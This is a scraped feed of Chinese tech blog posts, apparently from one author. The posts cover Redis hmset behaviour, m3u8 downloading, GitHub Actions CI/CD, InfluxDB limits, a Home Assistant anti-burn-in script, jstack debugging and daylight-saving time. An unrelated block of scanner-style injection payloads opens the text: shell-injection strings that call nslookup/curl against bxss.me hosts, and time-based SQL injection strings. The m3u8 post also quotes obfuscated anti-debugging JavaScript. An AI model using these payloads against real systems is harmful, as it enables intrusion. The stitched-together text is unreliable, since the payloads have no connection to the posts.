$(nslookup -q=cname hiticgobfcbwa7b0fb.bxss.me||curl hiticgobfcbwa7b0fb.bxss.me)
&nslookup -q=cname hituxlafypvktf9373.bxss.me&'\"`0&nslookup -q=cname hituxlafypvktf9373.bxss.me&`'
&(nslookup -q=cname hituyqrvzfsmw3f676.bxss.me||curl hituyqrvzfsmw3f676.bxss.me)&'\"`0&(nslookup -q=cname hituyqrvzfsmw3f676.bxss.me||curl hituyqrvzfsmw3f676.bxss.me)&`'
|(nslookup -q=cname hitficmsiwtqkcb2ba.bxss.me||curl hitficmsiwtqkcb2ba.bxss.me)
`(nslookup -q=cname hithlczbamznk5469f.bxss.me||curl hithlczbamznk5469f.bxss.me)`
;(nslookup -q=cname hitvjmulqyoez231f0.bxss.me||curl hitvjmulqyoez231f0.bxss.me)|(nslookup -q=cname hitvjmulqyoez231f0.bxss.me||curl hitvjmulqyoez231f0.bxss.me)&(nslookup -q=cname hitvjmulqyoez231f0.bxss.me||curl hitvjmulqyoez231f0.bxss.me)
|(nslookup${IFS}-q${IFS}cname${IFS}hitjlrljaqmled4929.bxss.me||curl${IFS}hitjlrljaqmled4929.bxss.me)
&(nslookup${IFS}-q${IFS}cname${IFS}hiteqnzfohsxpbb0d1.bxss.me||curl${IFS}hiteqnzfohsxpbb0d1.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hiteqnzfohsxpbb0d1.bxss.me||curl${IFS}hiteqnzfohsxpbb0d1.bxss.me)&`'
eNixC1e6j
-1 OR 2+580-580-1=0+0+0+1 -- 
-1 OR 2+76-76-1=0+0+0+1
-1' OR 2+292-292-1=0+0+0+1 -- 
-1' OR 2+206-206-1=0+0+0+1 or 'KufDtOlt'='
-1" OR 2+854-854-1=0+0+0+1 -- 
mLDGf1yO'; waitfor delay '0:0:15' -- 
8EbTtZPt' OR 120=(SELECT 120 FROM PG_SLEEP(15))--
AtVXmDaq') OR 216=(SELECT 216 FROM PG_SLEEP(15))--
6ZffQC7J')) OR 977=(SELECT 977 FROM PG_SLEEP(15))--
@@YpBY7

Redis Map 增长问题

七仔(Github) — Mon, 05 Aug 2024 06:04:29 GMT

Redis Map 增长问题

原因:

redis中的hmset命令合并新增的和原先的（重复的覆盖），而不是重置，需要先del后再新增。下面是验证过程：

redis命令验证:

127.0.0.1:0>hmset TestMap test1 "11111" test2 "22222"
"OK"

127.0.0.1:0>hget TestMap test1
"11111"

127.0.0.1:0>hmset TestMap test2 "22222"
"OK"

127.0.0.1:0>hget TestMap test1
"11111"

java验证

import com.ems.dsp.util.RedisClient;
import org.junit.jupiter.api.Test;
import org.junit.runner.RunWith;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.test.context.junit4.SpringRunner;

import java.util.HashMap;
import java.util.Map;

@RunWith(SpringRunner.class)
@SpringBootTest
public class JedisTest {

    @Autowired
    private RedisClient redisClient;

    @Test
    public void redisDemo(){
        String key = "TestMap";

        Map<String,String> map1 = new HashMap<>();
        map1.put("test1","11111");
        map1.put("test2","22222");
        redisClient.hmset(key, map1);
        System.out.println("########################################################");
        System.out.println(redisClient.hmget(key, "test1"));
        System.out.println("########################################################");
        // 结果为11111

        Map<String,String> map2 = new HashMap<>();
        map2.put("test2","22222");
        redisClient.hmset(key, map2);
        System.out.println("********************************************************");
        System.out.println(redisClient.hmget(key, "test1"));
        System.out.println("********************************************************");
        // 结果依然为11111
    }
}

记一次m3u8文件的下载

七仔(Github) — Sun, 12 May 2024 14:06:26 GMT

记一次m3u8文件的下载

记录

手机到浏览器粘贴网址，可以正常播放，复制地址到电脑端无法播放
电脑端打开F12发现会重复卡在debuggger，是一种反破解的手段
手机端使用HttpCanary进行抓包，但是抓不到，发现是https，需要HttpCanary安装证书，但是需要root，比较麻烦
地址换成http，可以抓到了，第一个请求是一个正常网址，第二个请求返回了一堆js的函数，是经过加密的，经过搜索发现是一个叫jsjiami的网站进行加密的，网站:https://www.jsjiami.com/，加密程度非常高，我会在文章附录贴一下代码，有兴趣的读者可以试试
将其放到jsjiami解密函数网站：https://www.jsjiami.com/jiemi.html还是无法全部解密
使用手机浏览器的资源嗅探功能可以获取到一个m3u8的文件地址，但是无法直接下载，所以使用HttpCanary抓包到的第一个网址的cookie加上这个m3u8的文件的地址使用postman成功获取到了m3u8的文件信息
使用m3u8下载工具下所有的切割文件，但是这些文件是.jpg格式的，可以通过填充文件头还原成ts文件，文章附录有转换的python代码
然后对m3u8文件中的切割文件进行提取，通过这个对处理后的切割文件进行排序
最后使用m3u8工具对切割文件进行合成就成功了

附录

文件格式还原python代码

import os
import os.path


def resolve_ts(src_path, dst_path):
    '''
    如果m3u8返回的ts文件地址为图片，则需要下面处理后 才能进行合并
    原因在于 使用Hexeditor打开后，发现文件头被描述为了PNG
    在这种情况下，只需要将其中PNG/jpg文件头部分全部使用FF填充，即可处理该问题
    :return:
    '''
    if not os.path.exists(dst_path):
        os.mkdir(dst_path)
    file_list = sorted(os.listdir(src_path), key=lambda x: x.split('.')[0])
    for i in file_list:
        origin_ts = os.path.join(src_path, i)
        resolved_ts = os.path.join(dst_path, i)
        try:
            infile = open(origin_ts, "rb")  # 打开文件
            outfile = open(resolved_ts, "wb")  # 内容输出
            data = infile.read()
            outfile.write(data)
            outfile.seek(0x00)
            outfile.write(b'\xff\xff\xff\xff')
            outfile.flush()
            infile.close()  # 文件关闭
            outfile.close()
        except:
            pass
        print('resolve ' + origin_ts + ' success')

resolve_ts("原目录", "新目录")

js加密代码

var _0xodc='jsjiami.com.v6',0xodc=function(){return['_0xodc'],_0x1dab=[_0xodc,'\x73\x65\x74\x49\x6e\x74\x65\x72\x76\x61\x6c','\x6a\x73\x6a','\x69\x61\x6d','\x75\x6e\x64\x65\x66\x69','\x6e\x65\x64','\x69\x2e\x63\x6f\x6d\x2e\x76','\x6c\x65\x6e\x67\x74\x68','\x70\x75\x73\x68','\x64\x6f\x63\x75\x6d\x65\x6e\x74','\x6f\x70\x65\x6e','\x74\x65\x78\x74\x2f\x68\x74\x6d\x6c\x3b\x20\x63\x68\x61\x72\x73\x65\x74\x3d\x75\x74\x66\x2d\x38','\x72\x65\x70\x6c\x61\x63\x65','\x77\x72\x69\x74\x65','\x63\x6c\x6f\x73\x65','\x6f\x6e\x6c\x6f\x61\x64','\x72\x65\x73\x70\x6f\x6e\x73\x65\x54\x65\x78\x74','\x72\x65\x6e\x64\x65\x72\x28\x29','\x61\x70\x70\x6c\x79','\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x2a\x5c\x28\x20\x2a\x5c\x29','\x5c\x2b\x5c\x2b\x20\x2a\x28\x3f\x3a\x28\x3f\x3a\x5b\x61\x2d\x7a\x30\x2d\x39\x41\x2d\x5a\x5f\x5d\x29\x7b\x31\x2c\x38\x7d\x7c\x28\x3f\x3a\x5c\x62\x7c\x5c\x64\x29\x5b\x61\x2d\x7a\x30\x2d\x39\x5f\x5d\x7b\x31\x2c\x38\x7d\x28\x3f\x3a\x5c\x62\x7c\x5c\x64\x29\x29','\x69\x6e\x69\x74','\x74\x65\x73\x74','\x63\x68\x61\x69\x6e','\x69\x6e\x70\x75\x74','\x72\x65\x74\x75\x72\x6e\x20\x28\x66\x75\x6e\x63\x74\x69\x6f\x6e\x28\x29\x20','\x7b\x7d\x2e\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\x28\x22\x72\x65\x74\x75\x72\x6e\x20\x74\x68\x69\x73\x22\x29\x28\x20\x29','\x63\x6f\x6e\x73\x6f\x6c\x65','\x6c\x6f\x67','\x77\x61\x72\x6e','\x64\x65\x62\x75\x67','\x69\x6e\x66\x6f','\x65\x72\x72\x6f\x72','\x65\x78\x63\x65\x70\x74\x69\x6f\x6e','\x74\x72\x61\x63\x65','\x52\x65\x67\x45\x78\x70','\x28\x5e\x7c\x26\x29','\x3d\x28\x5b\x5e\x26\x5d\x2a\x29\x28\x26\x7c\x24\x29','\x6c\x6f\x63\x61\x74\x69\x6f\x6e','\x73\x65\x61\x72\x63\x68','\x73\x75\x62\x73\x74\x72','\x6d\x61\x74\x63\x68','\x75\x6e\x65\x73\x63\x61\x70\x65','\x47\x45\x54','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x6f\x73\x2e\x35\x38\x63\x64\x6e\x2e\x63\x6f\x6d\x2e\x63\x6e\x2f\x49\x6a\x47\x66\x45\x64\x43\x62\x49\x6c\x72\x2f\x69\x73\x68\x61\x72\x65\x2f\x69\x6d\x61\x67\x65\x5f\x32\x37\x34\x32\x38\x30\x31\x38\x37\x38\x33\x37\x35\x35\x30\x34\x35\x2e\x70\x6e\x67\x3f\x5f\x74\x3d','\x44\x61\x74\x65','\x6e\x6f\x77','\x73\x65\x6e\x64','\x73\x74\x72\x69\x6e\x67','\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72','\x64\x65\x62\x75\x67\x67\x65\x72\x3b','\x63\x6f\x75\x6e\x74\x65\x72','\x64\x65\x62\x75','\x67\x67\x65\x72','\x63\x61\x6c\x6c','\x61\x63\x74\x69\x6f\x6e','\x73\x74\x61\x74\x65\x4f\x62\x6a\x65\x63\x74','\x4a\x42\x6a\x58\x73\x58\x72\x6a\x64\x69\x61\x6d\x69\x2e\x62\x62\x53\x45\x63\x6f\x6d\x52\x67\x2e\x76\x36\x5a\x47\x47\x4b\x3d\x3d'];}();function _0x4354(_0x57a262,_0x5bf6cd){_0x57a262=~~'0x''concat';var _0x494c87=_0x1dab[_0x57a262];return _0x494c87;};(function(_0x1199f3,_0x216845){var _0x19be3a=0x0;for(_0x216845=_0x1199f3'shift';_0x216845&&_0x216845!==(_0x1199f3'pop'+'')'replace';_0x19be3a++){_0x19be3a=_0x19be3a^0x14aaec;}}(_0x1dab,_0x4354));window[_0x4354('0')](function(){function _0x50207d(_0x2f71db,_0x3b5331){return _0x2f71db+_0x3b5331;}var _0x2c048f=_0x50207d(_0x4354('1'),_0x4354('2')),_0x40f860='';if(typeof _0xodc==_0x50207d(_0x4354('3'),_0x4354('4'))&&_0x40f860===''||_0x50207d(_0xodc,'')!=_0x50207d(_0x50207d(_0x50207d(_0x2c048f,_0x4354('5')),_0x2c048f[_0x4354('6')]),'')){var _0x44d2b1=[];while(_0x44d2b1[_0x4354('6')]>-0x1){_0x44d2b1_0x4354('7');}}_0x2c3f97();},0x7d0);var BBY1=null;var Ky2=new XMLHttpRequest();var PyNwtDi3=GetQueryString('\x63\x69');function render(){var _0x2f8245=window[_0x4354('8')]_0x4354('9');_0x2f8245_0x4354('c');_0x2f8245_0x4354('d');}Ky2[_0x4354('e')]=function(){BBY1=Ky2[_0x4354('f')];if(0x0>0x0){setTimeout(_0x4354('10'),0x0*0x3e8);}else{render();}};function GetQueryString(_0x1311b9){var _0x1237c2=function(_0x7b2abc){var _0x14528f=!![];return function(_0x152aaa,_0x3ac20b){var _0x497338='';var _0x2afe97=_0x14528f?function(){if(_0x497338===''&&_0x3ac20b){var _0x4de7e7=_0x3ac20b_0x4354('11');_0x3ac20b=null;return _0x4de7e7;}}:function(_0x7b2abc){};_0x14528f=![];var _0x7b2abc='';return _0x2afe97;};}();(function(){_0x1237c2(this,function(){var _0x28dd94=new RegExp(_0x4354('12'));var _0x21fde8=new RegExp(_0x4354('13'),'\x69');var _0x2b2bb5=_0x2c3f97(_0x4354('14'));if(!_0x28dd94_0x4354('15')||!_0x21fde8_0x4354('15')){_0x2b2bb5('\x30');}else{_0x2c3f97();}})();}());var _0x2d50e7=function(_0x34b4ac){var _0x5ab30c=!![];return function(_0x1613e4,_0x495974){var _0x37241e='';var _0x45a872=_0x5ab30c?function(){if(_0x37241e===''&&_0x495974){var _0x2e891c=_0x495974_0x4354('11');_0x495974=null;return _0x2e891c;}}:function(_0x34b4ac){};_0x5ab30c=![];var _0x34b4ac='';return _0x45a872;};}();var _0x132348=_0x2d50e7(this,function(){var _0x247a45=function(){};var _0x10ce6d;try{var _0x544599=Function(_0x4354('18')+_0x4354('19')+'\x29\x3b');_0x10ce6d=_0x544599();}catch(_0x1b9c23){_0x10ce6d=window;}if(!_0x10ce6d[_0x4354('1a')]){_0x10ce6d[_0x4354('1a')]=function(_0x247a45){var _0x30e96b={};_0x30e96b[_0x4354('1b')]=_0x247a45;_0x30e96b[_0x4354('1c')]=_0x247a45;_0x30e96b[_0x4354('1d')]=_0x247a45;_0x30e96b[_0x4354('1e')]=_0x247a45;_0x30e96b[_0x4354('1f')]=_0x247a45;_0x30e96b[_0x4354('20')]=_0x247a45;_0x30e96b[_0x4354('21')]=_0x247a45;return _0x30e96b;}(_0x247a45);}else{_0x10ce6d[_0x4354('1a')][_0x4354('1b')]=_0x247a45;_0x10ce6d[_0x4354('1a')][_0x4354('1c')]=_0x247a45;_0x10ce6d[_0x4354('1a')][_0x4354('1d')]=_0x247a45;_0x10ce6d[_0x4354('1a')][_0x4354('1e')]=_0x247a45;_0x10ce6d[_0x4354('1a')][_0x4354('1f')]=_0x247a45;_0x10ce6d[_0x4354('1a')][_0x4354('20')]=_0x247a45;_0x10ce6d[_0x4354('1a')][_0x4354('21')]=_0x247a45;}});_0x132348();var _0x1a044b=new window(_0x4354('22'));var _0x5a699c=window[_0x4354('25')][_0x4354('26')]_0x4354('27')_0x4354('28');if(_0x5a699c!=null){return window_0x4354('29');}return null;}if(PyNwtDi3==0x0){Ky2_0x4354('9');Ky2_0x4354('2e');}else{Ky2_0x4354('9');Ky2_0x4354('2e');}function _0x2c3f97(_0x29ffae){function _0xc9c520(_0x2c9d5d){if(typeof _0x2c9d5d===_0x4354('2f')){return function(_0x5e764f){}_0x4354('30')_0x4354('11');}else{if((''+_0x2c9d5d/_0x2c9d5d)[_0x4354('6')]!==0x1||_0x2c9d5d%0x14===0x0){(function(){return!![];}_0x4354('30')_0x4354('35'));}else{(function(){return![];}_0x4354('30')_0x4354('11'));}}_0xc9c520(++_0x2c9d5d);}try{if(_0x29ffae){return _0xc9c520;}else{_0xc9c520(0x0);}}catch(_0x3b167e){}};_0xodc='jsjiami.com.v6';

七仔的桌面工具

七仔(Github) — Thu, 25 Apr 2024 02:39:40 GMT

七仔的桌面工具

介绍

具有查看日期时间、天气、工作日、记录喝水、查询微博热搜、60s读世界和各种小工具的桌面工具，可以在托盘区单击隐藏和弹出，或使用快捷键Alt+1

演示视频和截图

说明

可以将托盘区小图标拖到任务栏，然后点击小图标可以隐藏和展示
使用快捷键Alt+1可以隐藏和展示
在托盘区右键可以弹出菜单

计划

后期打算将这一块一块的都做成可单独开发的小模块，然后做成开源的

下载

蓝奏云：

https://agiletiles.lanzoue.com/iaeGk36p15ij

一种用Python做界面和Java做后端的Win客户端运行逻辑

七仔(Github) — Thu, 25 Apr 2024 01:42:19 GMT

一种用Python做界面和Java做后端的Win客户端运行逻辑

前言

使用PyQt5做界面，使用SpringBoot做后端，都打成exe，然后Python启动时启动Java后端，使用http做交互

一、Java打包成exe

首先将SpringBoot程序打成Jar包，这个想必就不用多说了
然后使用exe4j将Jar包打成exe，打包时Jre地址填相同路径，然后将Jre文件夹复制到exe同目录下
关于exe4j打包可以参考:SpringBoot项目打包exe，另外不需要这个文章中的 Inno Setup
我这里将文章裁剪然后存成了word，点击下载：SpringBoot项目打包exe

二、Python打包exe

安装Pyinstaller

pip install pyinstaller

打包exe

pyinstaller -F -w -n 程序名 main.py

-F, --onefile 打包一个单个文件 -w, 不打开命令行 -n 程序名

三、部分代码逻辑

1. python运行外部exe

subprocess.call("目录/程序名.exe", creationflags=subprocess.CREATE_NO_WINDOW)

2. python杀死外部exe

subprocess.call("taskkill /f /t /im {}".format("程序名.exe"), creationflags=subprocess.CREATE_NO_WINDOW)

3. 其他

主要就是使用线程启动exe，然后退出时记得杀死线程，由于SpringBoot启动需要一定时间可以在程序中做提示，启动后使用reqrests调用Java的exe的接口即可

用Github Actions做CICI流程分享

七仔(Github) — Tue, 09 Apr 2024 05:48:44 GMT

用Github Actions做CICI流程分享

1. 前言

之前用Github做了CICD，流程和代码放在一块，方便管理，可以构建、打包、推送镜像到Dockerhub、连接服务器做部署，这两天在阿里云仓库做了镜像，然后用Github Actions推送到阿里云仓库

阿里云仓库: https://cr.console.aliyun.com/cn-hangzhou/instance/repositories

2. 位置

3. Java 流程

其中的${{ secrets.XXXXX }}可以在github项目->【Settings】->【Security】->【Secrets and variables】->【Actions】处设置，就是个密钥

name: Java CI with Gradle

# 选择分支
on:
  push:
    branches: [ main ]
  pull_request:
    branches: [ main ]

jobs:
  build:

    runs-on: ubuntu-latest

    steps:
    
    # 把仓库代码拉到 ubuntu 镜像上
    - uses: actions/checkout@v2

    # 指定 java 版本
    - name: Set up JDK 1.8
      uses: actions/setup-java@v1
      with:
          java-version: 1.8

    # 给 gradle 赋予可运行权限
    - name: Grant execute permission for gradlew
      run: chmod +x gradlew

    # 通过 gradle 打包我们的项目
    - name: Build with gradle
      run: ./gradlew build

    # 通过 Dockerfile 构建镜像
    - name: Build Docker Image
      run: docker build . --file Dockerfile --tag ${{ secrets.IMAGE_NAME }}:$(date +%s)

    # 推送镜像到 Docker Hub
    - name: Publish to Docker Repository
      uses: elgohr/Publish-Docker-Github-Action@master
      with:
        name: ${{ secrets.IMAGE_NAME }}:latest
        username: ${{ secrets.DOCKER_USERNAME }}
        password: ${{ secrets.DOCKER_PASSWORD }}

    # 推送镜像到阿里云仓库
    - name: Publish to Aliyun Docker Repository
      run: |
        docker login --username=${{ secrets.ALIYUN_DOCKER_USERNAME }} --password=${{ secrets.ALIYUN_DOCKER_PASSWORD }} registry.cn-hangzhou.aliyuncs.com
        docker build -t ${{ secrets.IMAGE_NAME }} . 
        docker tag ${{ secrets.IMAGE_NAME }} ${{ secrets.ALIYUN_IMAGE_URL }}:latest
        docker push ${{ secrets.ALIYUN_IMAGE_URL }}:latest

  # 连接到服务器部署
  pull-docker:
    needs: [build]
    name: Pull Docker
    runs-on: ubuntu-latest
    steps:
      - name: Deploy
        uses: appleboy/ssh-action@master
        with:
          host: ${{ secrets.SERVER_HOST }}
          username: ${{ secrets.SERVER_USER }}
          password: ${{ secrets.SERVER_PWD }}
          port: ${{ secrets.SERVER_PORT }}
          script: |
            docker pull ${{ secrets.ALIYUN_IMAGE_URL }}
            docker-compose up -d --build

4. Javascript流程

name: Node.js CI

# 选择分支
on:
  push:
    branches: [ master ]
  pull_request:
    branches: [ master ]

jobs:
  build:

    runs-on: ubuntu-latest

    strategy:
      matrix:
        node-version: [12.x]
    steps:
    - uses: actions/checkout@v2
    - name: Use Node.js ${{ matrix.node-version }}
      uses: actions/setup-node@v2
      with:
        node-version: ${{ matrix.node-version }}
        cache: 'npm'
    - run: npm ci
    - run: npm run build --if-present
    - run: npm test
    - run: ls

    # 通过 Dockerfile 构建镜像
    - name: Build Docker Image
      run: docker build . --file Dockerfile --tag ${{ secrets.IMAGE_NAME }}:$(date +%s)

      # 推送镜像到 Docker Hub
    - name: Publish to Docker Repository
      uses: elgohr/Publish-Docker-Github-Action@master
      with:
        name: ${{ secrets.IMAGE_NAME }}:latest
        username: ${{ secrets.DOCKER_USERNAME }}
        password: ${{ secrets.DOCKER_PASSWORD }}

      # 推送镜像到阿里云仓库
    - name: Publish to Aliyun Docker Repository
      run: |
        docker login --username=${{ secrets.ALIYUN_DOCKER_USERNAME }} --password=${{ secrets.ALIYUN_DOCKER_PASSWORD }} registry.cn-hangzhou.aliyuncs.com
        docker build -t ${{ secrets.IMAGE_NAME }} . 
        docker tag ${{ secrets.IMAGE_NAME }} ${{ secrets.ALIYUN_IMAGE_URL }}:latest
        docker push ${{ secrets.ALIYUN_IMAGE_URL }}:latest

  # 连接到服务器部署
  pull-docker:
    needs: [build]
    name: Pull Docker
    runs-on: ubuntu-latest
    steps:
      - name: Deploy
        uses: appleboy/ssh-action@master
        with:
          host: ${{ secrets.SERVER_HOST }}
          username: ${{ secrets.SERVER_USER }}
          password: ${{ secrets.SERVER_PWD }}
          port: ${{ secrets.SERVER_PORT }}
          script: |
            docker pull ${{ secrets.ALIYUN_IMAGE_URL }}
            docker-compose up -d --build

influxdb有时存不进去

七仔(Github) — Tue, 21 Nov 2023 08:33:59 GMT

influxdb有时存不进去

保存数据没有返回错误，但是有时候存不进去

查询网关日志发现

2023/11/21 16:01:42.280865 http.go:248: write status code: 400, from: http://172.17.31.13:8086
2023/11/21 16:01:42.281013 http.go:255: error response: {"error":"partial write: max-series-per-database limit exceeded: (1000000) dropped=5"}
2023/11/21 16:01:42.281098 backend.go:180: bad request, drop all data
2023/11/21 16:01:55.266353 http.go:248: write status code: 400, from: http://172.17.31.13:8086
2023/11/21 16:01:55.266409 http.go:255: error response: {"error":"partial write: max-series-per-database limit exceeded: (1000000) dropped=5"}
2023/11/21 16:01:55.266426 backend.go:180: bad request, drop all data
2023/11/21 16:06:13.590838 http.go:248: write status code: 400, from: http://172.17.31.13:8086
2023/11/21 16:06:13.590916 http.go:255: error response: {"error":"partial write: max-series-per-database limit exceeded: (1000000) dropped=5"}
2023/11/21 16:06:13.590980 backend.go:180: bad request, drop all data

关键字

max-series-per-database

这个参数表示数据库的时间序列线最大值，超过不会继续写入，默认一百万个，如果设置为0表示无限制

最后发现两台infuxdb的这两个参数设置的不一样(一个十亿个，还有一个是默认一百万个)

导致有时候能写入有时候不能写入

奇奇怪怪的防烧屏算法

七仔(Github) — Thu, 16 Nov 2023 05:51:46 GMT

奇奇怪怪的防烧屏算法

适用于HomeAssistant

只是突然看到iphone15的防烧屏算法出了bug导致出现的烧屏突然想到的

HA界面经常作为中控使用，在oled屏上应该会比较容易出现烧屏

防烧屏算法各大电视和手机厂商做的比较多，我看比较常见的是通过进行像素平移、覆盖、旋转等，防止一个像素点长时间在一个亮度下

我这里做的是很简陋的算法，就是对整体图像进行一个2px的正方形循环（每30秒进行一次平移），在我想来应该对于文字和纹理比较细的图标比较有用

这里只算抛砖引玉，希望有更好的算法

关于使用：

在设置->仪表盘->添加仪表盘，选择js资源直接引入我放到云上的js：https://cdn.baby7blog.com/homeassistant/anti-burning-screen.js

如果担心安全问题或担心云上资源失效可以直接复制然后在本地新建js文件

var screenIndex = 0;
setInterval(function(){
    if (screenIndex == 0) {
        document.querySelector("body > home-assistant").shadowRoot.querySelector("home-assistant-main").shadowRoot.querySelector("ha-drawer > partial-panel-resolver > ha-panel-lovelace").shadowRoot.querySelector("hui-root").shadowRoot.querySelector("div > div.header").style="margin-top:0px;margin-left:-2px;";
        document.querySelector("body > home-assistant").shadowRoot.querySelector("home-assistant-main").shadowRoot.querySelector("ha-drawer > partial-panel-resolver > ha-panel-lovelace").shadowRoot.querySelector("hui-root").shadowRoot.querySelector("#view").style="margin-top:0px;margin-left:-2px;padding-right:2px;";
        document.querySelector("body > home-assistant").shadowRoot.querySelector("home-assistant-main").shadowRoot.querySelector("ha-drawer > ha-sidebar").style="margin-top:0px;margin-left:-2px;";
        screenIndex = screenIndex + 1;
    }
    else if (screenIndex == 1) {
        document.querySelector("body > home-assistant").shadowRoot.querySelector("home-assistant-main").shadowRoot.querySelector("ha-drawer > partial-panel-resolver > ha-panel-lovelace").shadowRoot.querySelector("hui-root").shadowRoot.querySelector("div > div.header").style="margin-top:-2px;margin-left:-2px;";
        document.querySelector("body > home-assistant").shadowRoot.querySelector("home-assistant-main").shadowRoot.querySelector("ha-drawer > partial-panel-resolver > ha-panel-lovelace").shadowRoot.querySelector("hui-root").shadowRoot.querySelector("#view").style="margin-top:-2px;margin-left:-2px;padding-right:2px;";
        document.querySelector("body > home-assistant").shadowRoot.querySelector("home-assistant-main").shadowRoot.querySelector("ha-drawer > ha-sidebar").style="margin-top:-2px;margin-left:-2px;";
        screenIndex = screenIndex + 1;
    }
    else if (screenIndex == 2) {
        document.querySelector("body > home-assistant").shadowRoot.querySelector("home-assistant-main").shadowRoot.querySelector("ha-drawer > partial-panel-resolver > ha-panel-lovelace").shadowRoot.querySelector("hui-root").shadowRoot.querySelector("div > div.header").style="margin-top:-2px;margin-left:0px;";
        document.querySelector("body > home-assistant").shadowRoot.querySelector("home-assistant-main").shadowRoot.querySelector("ha-drawer > partial-panel-resolver > ha-panel-lovelace").shadowRoot.querySelector("hui-root").shadowRoot.querySelector("#view").style="margin-top:-2px;margin-left:0px;padding-right:0px;";
        document.querySelector("body > home-assistant").shadowRoot.querySelector("home-assistant-main").shadowRoot.querySelector("ha-drawer > ha-sidebar").style="margin-top:-2px;margin-left:0px;";
        screenIndex = screenIndex + 1;
    }
    else {
        document.querySelector("body > home-assistant").shadowRoot.querySelector("home-assistant-main").shadowRoot.querySelector("ha-drawer > partial-panel-resolver > ha-panel-lovelace").shadowRoot.querySelector("hui-root").shadowRoot.querySelector("div > div.header").style="margin-top:0px;margin-left:0px;";
        document.querySelector("body > home-assistant").shadowRoot.querySelector("home-assistant-main").shadowRoot.querySelector("ha-drawer > partial-panel-resolver > ha-panel-lovelace").shadowRoot.querySelector("hui-root").shadowRoot.querySelector("#view").style="margin-top:0px;margin-left:0px;padding-right:0px;";
        document.querySelector("body > home-assistant").shadowRoot.querySelector("home-assistant-main").shadowRoot.querySelector("ha-drawer > ha-sidebar").style="margin-top:0px;margin-left:0px;";
        screenIndex = 0;
    }
},30000);

我的博客架构改变历程

七仔(Github) — Tue, 14 Nov 2023 03:32:03 GMT

我的博客架构改变历程

SSM后端

代码已遗失，我记得前端为JSP，再往前的版本就找不到了

那时候还用了百度UEditor做富文本编辑，这玩意是真难使。。当时好像已经停止维护了，还得改源码

用了七牛云做CDN，当时只用来存js或者css的，这个真不错，现在还在用，空间大，CDN费用还低

用了三个服务器，一个做网关，附带文件服务器，nginx做负载均衡，另外两个服务器部署了两个SSM

还做了mysql主主备份，就是两个mysql互为主从备份

SpringCloud微服务后端 + Vue博客前端 + Vue管理前端

基于PigX个人版，未开源

后端以SpringCloud为基础，集合了Nacos + Gateway + Auth + Admin + 博客服务 + xxl-job 一共七个服务

博客前端以Vue为基础，进行各个页面的开发，模块化的开发还是挺方便的

博客管理端直接以PigX附带的Avue为框架开发，更简单

UEditor的博客继续留着，后面写的都是Markdown格式的了，前端通过判断来进行渲染

开始意识到SEO问题，通过Nginx进行header判断，发送到nodejs，nodejs调用python，python调用火狐进行渲染

SpringBoot后端 + Vue博客前端 + Vue管理前端

上面的结构再加上mysql和redis什么的需要将近4G的服务器才能起得来，并且因为PigX的协议不能开源，所以就想自己搞一个

从SpringBoot直接单体开发，比微服务占用内存少了太多

Vue管理前端以Element-UI重写，去掉了Avue的框架

使用marked做编辑器（忘了是这版还是上版，待验证）

Vue博客前端没什么大变化，不过重写了之前UEditor格式的博客改都为了Markdown

全部改为Docker形式部署，mysql，redis，后端，博客前端，管理前端，puppeteer-renderer，通过docker-compose管理

puppeteer-renderer替换了上个版本的nodejs+python+浏览器，不过本质还是通过浏览器进行渲染再返回，速度还是慢了

SpringBoot后端 + Thymeleaf博客前端 + Vue管理前端（开发中）

由于上个架构的占用还是挺大，而且SEO还是麻烦，所以有个这个版本

由于管理前端没必要做SEO，所有还是使用Vue为框架

博客前端使用Thymeleaf重写，通过服务端渲染，这样就可以去掉puppeteer-renderer

从mysql换为sqlite，一个是博客没必要这么庞大的数据库，二是省了部署的步骤，三是省内存

redis同理，没必要做加速（待验证）

将编辑器从marked换成了editor.md

争取做到一个容器或者一个jar包就能跑起来

增加MetaWeblog的支持

增加RSS订阅的支持

排查线上java程序cpu占用过高

七仔(Github) — Tue, 14 Nov 2023 03:28:31 GMT

排查线上java程序cpu占用过高

原因

线上服务器占用CPU过高

过程

通过top命令查询进程列表，第一个是cpu占用最高的，是一个定时任务的微服务（进入后c可以查询进程详细信息），记住pid

top

通过上一步的pid，查看该进程中的线程列表

   top -Hp 31273

（这里的31273换成你上一步查询的pid）

然后我这里看到有一个线程异常的高，记住其pid，然后转换成16进制（可以用win自带计算器转换）

通过jstack命令查询该线程的堆栈信息

   jstack 31273 |grep 84b -A 30

(这里的31273还是换成第一步的进程pid，84b换成第二步的线程的pid的16进制，然后-A后面的30代表查询堆栈信息30行)

到这里就很明了了，我这里是因为重算导致的

（错误的）我想单单杀掉这个线程，还用了-9，但是进程也直接死掉了。。。

关于时区中的夏令时（java）

七仔(Github) — Tue, 14 Nov 2023 02:57:04 GMT

关于时区中的夏令时（java）

时区标识，这里使用柏林时区为例：

Europe/Berlin

结果1

当零时区时间为2024-03-31 00:59:00时
输出：2024-03-31 01:59:00
表示为柏林时区标准时间-UTC+1

当零时区时间为2024-03-31 01:00:00时
输出：2024-03-31 03:00:00
表示为柏林时区夏令时-UTC+2

柏林时区从标准时间到夏令时直接跳了1个小时

结果2

当零时区时间为2023-10-29 00:59:00时
输出：2023-10-29 02:59:00
表示为柏林时区夏令时-UTC+2

当零时区时间为2023-10-29 01:00:00时
输出：2023-10-29 02:00:00
表示为柏林时区标准时间-UTC+1

柏林时区从夏令时到标准时间出现时间重叠

缘由

关于起因和结果是引用的这个文章：https://zhuanlan.zhihu.com/p/664643994

